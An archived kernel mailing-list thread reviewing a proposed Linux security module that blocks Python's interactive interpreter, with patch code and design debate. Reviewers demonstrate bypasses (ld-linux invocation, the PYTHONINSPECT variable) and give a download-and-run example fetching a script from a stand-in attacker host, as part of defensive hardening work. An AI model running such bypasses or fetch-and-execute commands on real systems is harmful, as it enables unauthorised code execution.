Skip to contentSkip to conversation

shebang: restrict python interactive prompt/interpreter

PATCH New Mimi Zohar 9 participants 22 messages Jun 9, 2017 – Jun 14, 2017 Security (LSM)

lore
Share & tools
lore

Mimi Zohar

author
#0 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)

A blank/comma delimited list of interpreter pathnames is converted to a list of inodes, which is used to detect and prevent the interactive prompt/interpreter's usage.

Mimi Zohar <[email protected]>

---
 security/Kconfig                  |   1 +
 security/Makefile                 |   2 +
 security/shebang/Kconfig          |  16 ++++++
 security/shebang/Makefile         |   3 +
 security/shebang/shebang_python.c | 117 ++++++++++++++++++++++++++++++++++++++
 5 files changed, 139 insertions(+)
 create mode 100644 security/shebang/Kconfig
 create mode 100644 security/shebang/Makefile
 create mode 100644 security/shebang/shebang_python.c
security/Kconfig +1 -0
index bdcbb92927ab..4453299c430e 100644
@@ -195,6 +195,7 @@ source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/shebang/Kconfig
 
 source security/integrity/Kconfig
 
security/Makefile +2 -0
index f2d71cdb8e19..00a8dbebb07f 100644
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO)        += tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR)	+= apparmor
 subdir-$(CONFIG_SECURITY_YAMA)		+= yama
 subdir-$(CONFIG_SECURITY_LOADPIN)	+= loadpin
+subdir-$(CONFIG_SECURITY_SHEBANG)	+= shebang
 
 # always enable default capabilities
 obj-y					+= commoncap.o
@@ -24,6 +25,7 @@ obj-$(CONFIG_SECURITY_TOMOYO)		+= tomoyo/
 obj-$(CONFIG_SECURITY_APPARMOR)		+= apparmor/
 obj-$(CONFIG_SECURITY_YAMA)		+= yama/
 obj-$(CONFIG_SECURITY_LOADPIN)		+= loadpin/
+obj-$(CONFIG_SECURITY_SHEBANG)		+= shebang/
 obj-$(CONFIG_CGROUP_DEVICE)		+= device_cgroup.o
 
 # Object integrity file lists
security/shebang/Kconfig new file +16 -0
new file mode 100644
index 000000000000..1b977b266413
@@ -0,0 +1,16 @@
+config SECURITY_SHEBANG
+	bool "Restrict python interactive prompt/interpreter"
+	depends on SECURITY
+	help
+	  Restrict python so that python scripts are allowed to execute,
+	  while the interactive prompt/interpreter is not available.  When
+	  used in conjunction with an IMA appraise policy requiring files
+	  signatures, only signed scripts will be executed.
+
+config SECURITY_SHEBANG_PATHNAME
+	string "interactive prompt/interpreter pathname"
+	depends on SECURITY_SHEBANG
+	default "/usr/bin/python2, /usr/bin/python3"
+	help
+	  This option defines a blank/comma delimited list of
+	  interpreter pathnames.
security/shebang/Makefile new file +3 -0
new file mode 100644
index 000000000000..f1b83dcb96d1
@@ -0,0 +1,3 @@
+obj-$(CONFIG_SECURITY_SHEBANG) += shebang.o
+
+shebang-y := shebang_python.o
security/shebang/shebang_python.c new file +117 -0

117 lines not on this page · raw message

Signature · 6 lines
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
#1 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 7 lines · Mimi Zohar

This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)

Below case is blocked by IMA?

   $ cp -p /usr/bin/python2 /tmp
   $ /tmp/python2

Below case is also blocked by IMA?

   $ echo '#!/usr/bin/python2 -' > /tmp/run-python
   $ chmod +x /tmp/run-python
   $ /tmp/run-python

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
Quoted 25 lines
security/shebang/shebang_python.c new file +25 -0
+#define MAX_INODES 6 
+static char *pathnames;
+static int pathnames_len;
+static unsigned long inode_list[MAX_INODES];
+static int total;
+
+/*
+ * Get the inodes associated with the list of pathnames, as specified
+ * on CONFIG_SECURITY_SHEBANG_PATHNAME.
+ */
+static void init_inode_list(void)
+{
+	char *tmp_pathnames = pathnames;
+	char *p;
+	struct path path;
+	int i;
+	int ret;
+
+	total = 0;
+	while ((p = strsep(&tmp_pathnames, " ,")) != NULL) {
+		if ((*p == '\0') || (*p == ' ') || (*p == ','))
+			continue;
+
+		if (total > MAX_INODES - 1) {
+			pr_info("too many interpreters\n");

security/shebang/shebang_python.c line 58

Quoted 10 lines
security/shebang/shebang_python.c new file +10 -0
+			break;
+		}
+
+		ret = kern_path(p, LOOKUP_FOLLOW, &path);
+		if (!ret) {
+			struct inode *inode = d_backing_inode(path.dentry);
+
+			inode_list[total] = inode->i_ino;
+			pr_info("pathname:%s i_ino: %lu\n",
+				p, inode_list[total]);

Leaking reference to "struct path".

security/shebang/shebang_python.c line 68

Quoted 10 lines
security/shebang/shebang_python.c new file +10 -0
+			initialized = 1;
+			total++;
+		}
+	}
+
+	/* cleanup in case we need to lookup the inodes again. */
+	tmp_pathnames = pathnames;
+	for (i = 0; i < pathnames_len; i++)
+		if (tmp_pathnames[i] == '\0')
+			tmp_pathnames[i] = ' ';

Why need to restore?

Quoted 9 lines
security/shebang/shebang_python.c new file +9 -0
+}
+
+/**
+ * shebang_bprm_check - prevent python interactive prompt/interpreter
+ * @bprm: contains the linux_binprm structure
+ *
+ * Restrict python such that scripts are allowed to execute, while the
+ * interactive prompt/interpreter is not available.
+ */

security/shebang/shebang_python.c line 87

Quoted 10 lines
security/shebang/shebang_python.c new file +10 -0
+static int shebang_bprm_check(struct linux_binprm *bprm)
+{
+	struct inode *inode = file_inode(bprm->file);
+	int i = 0;
+
+	if (bprm->interp != bprm->filename)	/* allow scripts */
+		return 0;
+
+	if (!initialized)
+		init_inode_list();

init_inode_list() can be called concurrently.

Quoted 12 lines
security/shebang/shebang_python.c new file +12 -0
+
+	while (i < total) {
+		if (inode_list[i++] != inode->i_ino)
+			continue;
+
+		pr_info("prevent executing %s (ino=%lu)\n",
+			bprm->interp, inode->i_ino);
+		return -EPERM;
+	}
+	return 0;
+}
+

security/shebang/shebang_python.c line 109

Quoted 10 lines
security/shebang/shebang_python.c new file +10 -0
+static struct security_hook_list shebang_hooks[] = {
+	LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check)
+};
+
+static int __init init_shebang(void)
+{
+	pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL);
+	if (!pathnames)
+		return -ENOMEM;
+	pathnames_len = strlen(pathnames);

Why need to kstrdup()?

  static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME;
  static int pathnames_len = sizeof(pathnames) - 1;

will be fine.

security/shebang/shebang_python.c line 117

Quoted 8 lines
security/shebang/shebang_python.c new file +8 -0
+
+	security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang");
+	pr_info("initialized\n");
+	return 0;
+}
+
+late_initcall(init_shebang);
+MODULE_LICENSE("GPL");

Nice example for loading as a LKM-based LSM. ;-)
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#2 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 8 lines · Tetsuo Handa
Quoted 7 lines · Mimi Zohar

This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)

FYI Mimi posted this because of this current discussion here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

Quoted 12 lines

Below case is blocked by IMA?

   $ cp -p /usr/bin/python2 /tmp
   $ /tmp/python2

Below case is also blocked by IMA?

   $ echo '#!/usr/bin/python2 -' > /tmp/run-python
   $ chmod +x /tmp/run-python
   $ /tmp/run-python

Does IMA have a way to prevent the following? I think this is the main case we are protection against with this LSM.

$ wget www.evil.com/evil.py
$ /usr/bin/python2 evil.py
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#3 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 10 lines · Matt Brown
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

And there is also PYTHONINSPECT environment variable. ;-)

# echo '#!/usr/bin/python2' > run-python
# chmod 755 run-python
# ./run-python
# PYTHONINSPECT=yes ./run-python
Quoted 1 line
Quoted 1 line
Quoted 1 line

print "hello"

hello

Quoted 1 line
Quoted 1 line
Quoted 1 line

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#4 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

Quoted 9 lines

And there is also PYTHONINSPECT environment variable. ;-)

# echo '#!/usr/bin/python2' > run-python
# chmod 755 run-python
# ./run-python
# PYTHONINSPECT=yes ./run-python
Quoted 1 line
Quoted 1 line
Quoted 1 line

print "hello"

hello

Quoted 1 line
Quoted 1 line
Quoted 1 line

While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:

http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

Results from my test:

$ PYTHONINSPECT=yes ./run-python

-bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not permitted

and in the dmesg log:
TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned directory

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#5 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 35 lines · Matt Brown
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

Quoted 9 lines

And there is also PYTHONINSPECT environment variable. ;-)

# echo '#!/usr/bin/python2' > run-python
# chmod 755 run-python
# ./run-python
# PYTHONINSPECT=yes ./run-python
Quoted 1 line
Quoted 1 line
Quoted 1 line

print "hello"

hello

Quoted 1 line
Quoted 1 line
Quoted 1 line

While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:

http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

Results from my test:

$ PYTHONINSPECT=yes ./run-python
Quoted 6 lines

-bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not permitted

and in the dmesg log:
TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned directory

What if you just use any existing python script on the system?

jason at meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
emerge: command-line interface to the Portage system
Usage:
emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ] emerge [ options ] [ action ] < @system | @world >
emerge < --sync | --metadata | --info >
emerge --resume [ --pretend | --ask | --skipfirst ]
emerge --help
Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]

          [ --color < y | n >            ] [ --columns    ]
          [ --complete-graph             ] [ --deep       ]
          [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD            ]
          [ --newrepo   ] [ --newuse     ] [ --noconfmem  ] [ --nospinner   ]
          [ --oneshot   ] [ --onlydeps   ] [ --quiet-build [ y | n ]        ]
          [ --reinstall changed-use      ] [ --with-bdeps < y | n >         ]
Actions:  [ --depclean | --list-sets | --search | --sync | --version        ]

For more help consult the man page.
Traceback (most recent call last):
File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
sys.exit(retval)
SystemExit: 1

Quoted 1 line
Quoted 1 line
Quoted 1 line

-- Jason
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#6 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 62 lines · Jason Zaman
Quoted 35 lines · Matt Brown
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

Quoted 9 lines

And there is also PYTHONINSPECT environment variable. ;-)

# echo '#!/usr/bin/python2' > run-python
# chmod 755 run-python
# ./run-python
# PYTHONINSPECT=yes ./run-python
Quoted 1 line
Quoted 1 line
Quoted 1 line

print "hello"

hello

Quoted 1 line
Quoted 1 line
Quoted 1 line

While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:

http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

Results from my test:

$ PYTHONINSPECT=yes ./run-python
Quoted 6 lines

-bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not permitted

and in the dmesg log:
TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned directory

What if you just use any existing python script on the system?

jason at meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
emerge: command-line interface to the Portage system Usage:

   emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ]
   emerge [ options ] [ action ] < @system | @world >
   emerge < --sync | --metadata | --info >
   emerge --resume [ --pretend | --ask | --skipfirst ]
   emerge --help
Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]
          [ --color < y | n >            ] [ --columns    ]
          [ --complete-graph             ] [ --deep       ]
          [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD            ]
          [ --newrepo   ] [ --newuse     ] [ --noconfmem  ] [ --nospinner   ]
          [ --oneshot   ] [ --onlydeps   ] [ --quiet-build [ y | n ]        ]
          [ --reinstall changed-use      ] [ --with-bdeps < y | n >         ]
Actions:  [ --depclean | --list-sets | --search | --sync | --version        ]
Quoted 9 lines

For more help consult the man page.
Traceback (most recent call last):
File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
sys.exit(retval)
SystemExit: 1

Quoted 1 line
Quoted 1 line
Quoted 1 line

-- Jason

crap you're right. This does work.

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#7 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 3 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Stripping argv[0] can be done by remove_arg_zero(). But stripping specific environmental variables is a bit complicated than what you would think. You can see tomoyo_environ() for how to whitelist environmental variable names.

Quoted 3 lines

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

TOMOYO and CaitSith try to check such factors (e.g. argv/envp as well as pathname manipulations).
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#8 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

In reply to Matt Brown
Quoted 73 lines · Matt Brown
Quoted 62 lines · Jason Zaman
Quoted 35 lines · Matt Brown
Quoted 12 lines · Tetsuo Handa
Quoted 10 lines · Matt Brown
Quoted 4 lines

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Just tested this and you are correct, this allows you to bypass the protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2 in the list of interpreters.

Quoted 9 lines

And there is also PYTHONINSPECT environment variable. ;-)

# echo '#!/usr/bin/python2' > run-python
# chmod 755 run-python
# ./run-python
# PYTHONINSPECT=yes ./run-python
Quoted 1 line
Quoted 1 line
Quoted 1 line

print "hello"

hello

Quoted 1 line
Quoted 1 line
Quoted 1 line

While this bypass works against this LSM alone, when combined with Trusted Path Execution this is prevented for non-root/untrusted user. This is why I feel like this is such a great feature to combine with TPE as I said here:

http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

Results from my test:

$ PYTHONINSPECT=yes ./run-python
Quoted 6 lines

-bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not permitted

and in the dmesg log:
TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned directory

What if you just use any existing python script on the system?

jason at meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
emerge: command-line interface to the Portage system Usage:

   emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ]
   emerge [ options ] [ action ] < @system | @world >
   emerge < --sync | --metadata | --info >
   emerge --resume [ --pretend | --ask | --skipfirst ]
   emerge --help
Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]
          [ --color < y | n >            ] [ --columns    ]
          [ --complete-graph             ] [ --deep       ]
          [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD            ]
          [ --newrepo   ] [ --newuse     ] [ --noconfmem  ] [ --nospinner   ]
          [ --oneshot   ] [ --onlydeps   ] [ --quiet-build [ y | n ]        ]
          [ --reinstall changed-use      ] [ --with-bdeps < y | n >         ]
Actions:  [ --depclean | --list-sets | --search | --sync | --version        ]
Quoted 9 lines

For more help consult the man page.
Traceback (most recent call last):
File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
sys.exit(retval)
SystemExit: 1

Quoted 1 line
Quoted 1 line
Quoted 1 line

-- Jason

Quoted 8 lines

crap you're right. This does work.

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

-Kees

Signature · 6 lines
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
#9 lore raw

PATCH 1/1 shebang: restrict python interactive prompt/interpreter

Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.

While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename(). --
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html

#10 lore raw
Quoted 18 lines · Tetsuo Handa
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.

Quoted 13 lines

While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename(). --
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.

The "security.tpe.environment" could also be set on a script file to be part of the union with the interpreter's environment whitelist. This may be needed to be able to use environment variables as configuration in a script.

In the future, a "security.tpe.memory" could contain a set of flags as PaX uses for mprotect-like exceptions (user.pax.flags).

Userland daemons such as paxctld or paxrat could be used (with some tweaks) to keep a consistent TPE policy over time.

Mickaël

[1] https://lkml.kernel.org/r/[email protected]

author
#11 lore raw
Quoted 19 lines · Mickaël Salaün
Quoted 18 lines · Tetsuo Handa
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.

Quoted 8 lines
Quoted 8 lines

While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename().

I don't think we're trying to protect against executing the interpreter prior to the rename.  Rename, itself, would trigger associating the interpreter name with an inode number.

Quoted 6 lines
Quoted 5 lines

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html

Quoted 6 lines

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Checking for the existence of an xattr without caching is relatively slow.  I'm not sure that we would want to go this route.

Quoted 3 lines

This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.

Security xattrs are only writable by root.

Mimi

Quoted 16 lines

The "security.tpe.environment" could also be set on a script file to be part of the union with the interpreter's environment whitelist. This may be needed to be able to use environment variables as configuration in a script.

In the future, a "security.tpe.memory" could contain a set of flags as PaX uses for mprotect-like exceptions (user.pax.flags).

Userland daemons such as paxctld or paxrat could be used (with some tweaks) to keep a consistent TPE policy over time.

Mickaël

[1] https://lkml.kernel.org/r/[email protected]

author
#12 lore raw
Quoted 11 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Checking for the existence of an xattr without caching is relatively slow.  I'm not sure that we would want to go this route.


For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea.  Perhaps the two xattrs could be combined?

Mimi

#13 lore raw
Quoted 10 lines · Mimi Zohar
Quoted 9 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Quoted 8 lines
Quoted 2 lines

Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.

For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined?

Yes, caching results is definitely interesting. I think using one variable per usage is cleaner, though.

#14 lore raw
In reply to Mimi Zohar
Quoted 10 lines · On Mon, 12 Jun 2017 10:27:24 -0400 Mimi Zohar <[email protected]> wrote:
Quoted 9 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Quoted 8 lines
Quoted 2 lines

Checking for the existence of an xattr without caching is relatively slow.  I'm not sure that we would want to go this route.


For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea.  Perhaps the two xattrs could be combined?

It's not just #! you need to cover. If I can run ld.so for my arch format then ld.so will helpfully let me load any ELF binary I like and run it.

Alan

#15 lore raw
Quoted 23 lines · Alan Cox
Quoted 10 lines · On Mon, 12 Jun 2017 10:27:24 -0400 Mimi Zohar <[email protected]> wrote:
Quoted 9 lines · Mimi Zohar
Quoted 6 lines · Mickaël Salaün

Using filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.

Quoted 8 lines
Quoted 2 lines

Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.

For identifying interpreters, xattrs would be too slow (without caching results), but once identified, using xattrs as you suggested, for specifying how interpreters can be invoked and limiting environment variables, is a good idea. Perhaps the two xattrs could be combined?

Quoted 4 lines

It's not just #! you need to cover. If I can run ld.so for my arch format then ld.so will helpfully let me load any ELF binary I like and run it.

Alan

That depends on the threat model. Interpreted payloads are beneficial to attackers for their light forensic footprint along with implicit code-gen needs/powers - they dont require writing files to disk in order to affect their goals (staging is implicitly handled by the runtime, and behavior is tough to track). Anything going to disk is subject to forensic recovery, malware analysis, and a host of other concerns nobody wants to deal with when trying to compromise things quietly. While attackers can abuse the linker to their heart's content under certain contexts, they generally need to write files to disk in a place where the linker can get to them, leaving more footprints or being deterred altogether. At the payload delivery stage, remote attackers are effectively blind and unlikely to know if their exploit failed or the payload execution was mitigated. It has real world value.

To go along with the notion of "perfect can be the enemy of good" (please pardon the likely incorrect paraphrasing, second language and all), rejecting a protection which offers coverage for a subset of potential vectors, because it does not provide coverage for others, leads to dead code and open holes. Is it feasible to adopt protections which cover specific threat models with annotations on what they may leave open such as to cover those areas in later commits? This would also allow common work to be converged, such as LSM code dealing with mprotect issues, path resolution as a security validator, etc.

-Boris

#16 lore raw
In reply to Mimi Zohar
Quoted 46 lines · Mimi Zohar
Quoted 19 lines · Mickaël Salaün
Quoted 18 lines · Tetsuo Handa
Quoted 11 lines · Kees Cook
Quoted 6 lines · Matt Brown

what does everyone thing about a envp_blacklist option that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P

Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.

Quoted 8 lines
Quoted 8 lines

While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it before rename().

